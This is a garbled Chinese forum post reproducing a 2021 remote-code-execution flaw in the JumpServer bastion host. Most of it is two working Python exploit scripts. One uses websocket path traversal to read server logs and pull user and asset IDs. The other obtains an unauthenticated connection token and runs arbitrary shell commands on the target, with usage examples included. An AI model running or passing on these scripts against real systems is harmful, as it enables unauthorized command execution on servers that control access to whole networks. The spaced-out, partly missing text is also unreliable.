[2250] 2021-01-22_jumpserver(堡垒机)RCE详细复现

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-16
2021-01-22_jumpserver(堡垒机)RCE详细复现 j u m p s e r v e r   R C E     D   E D I   2 0 2 1 - 0 1 - 2 2   ·     0 1 0 1   J u m p S e r v e r   广 , G N U   G P L   v 2 . 0 ,   4 A     & & 3 6 0 0 2 0 2   0 3 0 3 0 4 0 4 ( t o k e n , ) 1 . w s j u m p s e r v e r a p i     ( s y s t e m _ i d , t a r g e t _ i d , s y s t e m _ u s e r _ i d ) 2 .   / a p i / v 1 / a u t h e n t i c a t i o n / c o n n e c t i o n - t o k e n / ? u s e r - o n l y = 1     t o k e n   t o k e n   2 0 s 3 . w s     / k o k o / w s / t o k e n / ? t a r g e t _ i d     t o k e n _ i d   #     ( s y s t e m _ i d , t a r g e t _ i d , s y s t e m _ u s e r _ i d ) i m p o r t   a s y n c i o i m p o r t   w e b s o c k e t s i m p o r t   j s o n i m p o r t   r e i m p o r t   s y s t r y :         i p = s y s . a r g v [ 1 ] e x c e p t :         p r i n t ( " e x a m p l e :   p y t h o n   j u m p s e r v e r _ g e t l o g _ e d i . p y   1 2 7 . 0 . 0 . 1 : 8 0 8 0 " )         e x i t ( ) a s y n c   d e f   s e n d _ m s g ( w e b s o c k e t , _ t e x t ) :         p r i n t ( " # # # # # # # # # # s e n d   p a y l o a d " )         p r i n t ( " # # # # # # # # # # w a i t   s o m e   t i m e " )         a w a i t   w e b s o c k e t . s e n d ( _ t e x t )         r e c v _ t e x t   =   a w a i t   w e b s o c k e t . r e c v ( )         p r i n t ( r e c v _ t e x t ) a s y n c   d e f   m a i n _ l o g i c ( ) :         a s y n c   w i t h   w e b s o c k e t s . c o n n e c t ( f " w s : / / { i p } / w s / o p s / t a s k s / l o g / " )   a s   w e b s o c k e t :                 _ t e x t   =   j s o n . d u m p s ( { " t a s k " :   " . . / . . / . . / . . / . . / . . / . . / o p t / j u m p s e r v e r / l o g s / g u n i c o r n " } )                 a w a i t   s e n d _ m s g ( w e b s o c k e t , _ t e x t )                 w h i l e   T r u e :                         r e c v _ t e x t   =   a w a i t   w e b s o c k e t . r e c v ( )                         r e c v _ t e x t = j s o n . l o a d s ( r e c v _ t e x t )                       #   p r i n t ( r e c v _ t e x t [ ' m e s s a g e ' ] )                       # p r i n t ( l e n ( r e c v _ t e x t [ ' m e s s a g e ' ] ) )                         i f   ' / a p i / v 1 / p e r m s / a s s e t - p e r m i s s i o n s / u s e r / v a l i d a t e / '   i n   r e c v _ t e x t [ ' m e s s a g e ' ] :                                 p a t t e r n   =   r e . c o m p i l e (                                         ' / a p i / v 1 / p e r m s / a s s e t - p e r m i s s i o n s / u s e r / v a l i d a t e / ? a c t i o n _ n a m e = c o n n e c t & a s s e t _ i d = ( ? P < a s s e t > . * ) & c a c h e _ p o l i c y = d & s y s t e m _ u s e r _ i d = ( ? P < s y s t e m _ u s e r > . * ) & u s e r _ i d = ( ? P < u s e r > . * )   H T T P / 1 . 1 "   2 0 0   1 2 ' )                                 s   =   p a t t e r n . s e a r c h ( r e c v _ t e x t [ ' m e s s a g e ' ] )                                 p r i n t ( s . g r o u p d i c t ( ) )                         i f   l e n ( r e c v _ t e x t [ ' m e s s a g e ' ] )   <   1 0 0 :                                 b r e a k a s y n c i o . g e t _ e v e n t _ l o o p ( ) . r u n _ u n t i l _ c o m p l e t e ( m a i n _ l o g i c ( ) ) p r i n t ( " e n d " ) i m p o r t   a s y n c i o i m p o r t   w e b s o c k e t s i m p o r t   r e q u e s t s i m p o r t   j s o n u r l   =   " / a p i / v 1 / a u t h e n t i c a t i o n / c o n n e c t i o n - t o k e n / ? u s e r - o n l y = N o n e " a s y n c   d e f   s e n d _ m s g ( w e b s o c k e t , _ t e x t ) :         i f   _ t e x t   = =   " e x i t " :                 p r i n t ( f ' y o u   h a v e   e n t e r   " e x i t " ,   g o o d b y e ' )                 a w a i t   w e b s o c k e t . c l o s e ( r e a s o n = " u s e r   e x i t " )                 r e t u r n   F a l s e         a w a i t   w e b s o c k e t . s e n d ( _ t e x t )         r e c v _ t e x t   =   a w a i t   w e b s o c k e t . r e c v ( )         p r i n t ( f " { r e c v _ t e x t } " ) a s y n c   d e f   m a i n _ l o g i c ( c m d ) :         p r i n t ( " # # # # # # # s t a r t   w s " )         a s y n c   w i t h   w e b s o c k e t s . c o n n e c t ( t a r g e t )   a s   w e b s o c k e t :                 r e c v _ t e x t   =   a w a i t   w e b s o c k e t . r e c v ( )
0 5 0 5 I D R C E I D   5 3 0 0 T i p                 r e c v _ t e x t   =   a w a i t   w e b s o c k e t . r e c v ( )                 p r i n t ( f " { r e c v _ t e x t } " )                 r e s w s = j s o n . l o a d s ( r e c v _ t e x t )                 i d   =   r e s w s [ ' i d ' ]                 p r i n t ( " g e t   w s   i d : " + i d )                 p r i n t ( " # # # # # # # # # # # # # # # " )                 p r i n t ( " i n i t   w s " )                 p r i n t ( " # # # # # # # # # # # # # # # " )                 i n i t t e x t   =   j s o n . d u m p s ( { " i d " :   i d ,   " t y p e " :   " T E R M I N A L _ I N I T " ,   " d a t a " :   " { " c o l s " : 1 6 4 , " r o w s " : 1 7 } " } )                 a w a i t   s e n d _ m s g ( w e b s o c k e t , i n i t t e x t )                 f o r   i   i n   r a n g e ( 4 ) :                         r e c v _ t e x t   =   a w a i t   w e b s o c k e t . r e c v ( )                         p r i n t ( f " { r e c v _ t e x t } " )                 p r i n t ( " # # # # # # # # # # # # # # # " )                 p r i n t ( f " e x e c   c m d : { c m d } " )                 c m d t e x t   =   j s o n . d u m p s ( { " i d " :   i d ,   " t y p e " :   " T E R M I N A L _ D A T A " ,   " d a t a " :   c m d + " r n " } )                 p r i n t ( c m d t e x t )                 a w a i t   s e n d _ m s g ( w e b s o c k e t ,   c m d t e x t )                 f o r   i   i n   r a n g e ( 4 ) :                         r e c v _ t e x t   =   a w a i t   w e b s o c k e t . r e c v ( )                         p r i n t ( f " { r e c v _ t e x t } " )                 p r i n t ( ' # # # # # # # f i n i s h ' ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         t r y :                 i m p o r t   s y s                 h o s t = s y s . a r g v [ 1 ]                 c m d = s y s . a r g v [ 2 ]                 i f   h o s t [ - 1 ] = = ' / ' :                         h o s t = h o s t [ : - 1 ]                 p r i n t ( h o s t )                 d a t a   =   { ' a s s e t ' :   ' 6 d 5 1 9 5 7 0 - b 8 9 c - 4 9 5 b - b f f b - f 9 5 8 c c c a a f 4 c ' ,   ' s y s t e m _ u s e r ' :   ' 3 c e d 8 e 5 8 - 8 a 8 8 - 4 3 8 9 - 9 3 c b - 0 b f 7 1 8 e 8 e 2 2 e ' ,   ' u s e r ' :   ' e 6 b 3 4 4 c 0 - 6 8 2 e - 4 e 5 c - 8 4 5 a - f b 0 6 4 e 7 b f 6 7 3 ' }                 p r i n t ( " # # # # # # # # # # # # # # # # # # " )                 p r i n t ( " g e t   t o k e n   u r l : % s "   %   ( h o s t   +   u r l , ) )                 p r i n t ( " # # # # # # # # # # # # # # # # # # " )                 r e s   =   r e q u e s t s . p o s t ( h o s t   +   u r l ,   j s o n = d a t a )                 t o k e n   =   r e s . j s o n ( ) [ " t o k e n " ]                 p r i n t ( " t o k e n : % s " ,   ( t o k e n , ) )                 p r i n t ( " # # # # # # # # # # # # # # # # # # " )                 t a r g e t   =   " w s : / / "   +   h o s t . r e p l a c e ( " h t t p : / / " ,   ' ' )   +   " / k o k o / w s / t o k e n / ? t a r g e t _ i d = "   +   t o k e n                 p r i n t ( " t a r g e t   w s : % s "   %   ( t a r g e t , ) )                 a s y n c i o . g e t _ e v e n t _ l o o p ( ) . r u n _ u n t i l _ c o m p l e t e ( m a i n _ l o g i c ( c m d ) )         e x c e p t :                 p r i n t ( " p y t h o n   j u m p s e r v e r . p y   h t t p : / / 1 2 7 . 0 . 0 . 1   w h o a m i " ) 0 x 0 1 p y t h o n   j u m p s e r v e r _ g e t l o g . p y   1 2 7 . 0 . 0 . 1 8 0 8 0 0 x 0 2 0 x 0 3 p y t h o n   j u m p s e r v e r _ r c e . p y   h t t p : / / x . x . x . x : 8 0 8 0 /     " l s   - a l "
      [ E D I 0 1 1 8 ]   E D I
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则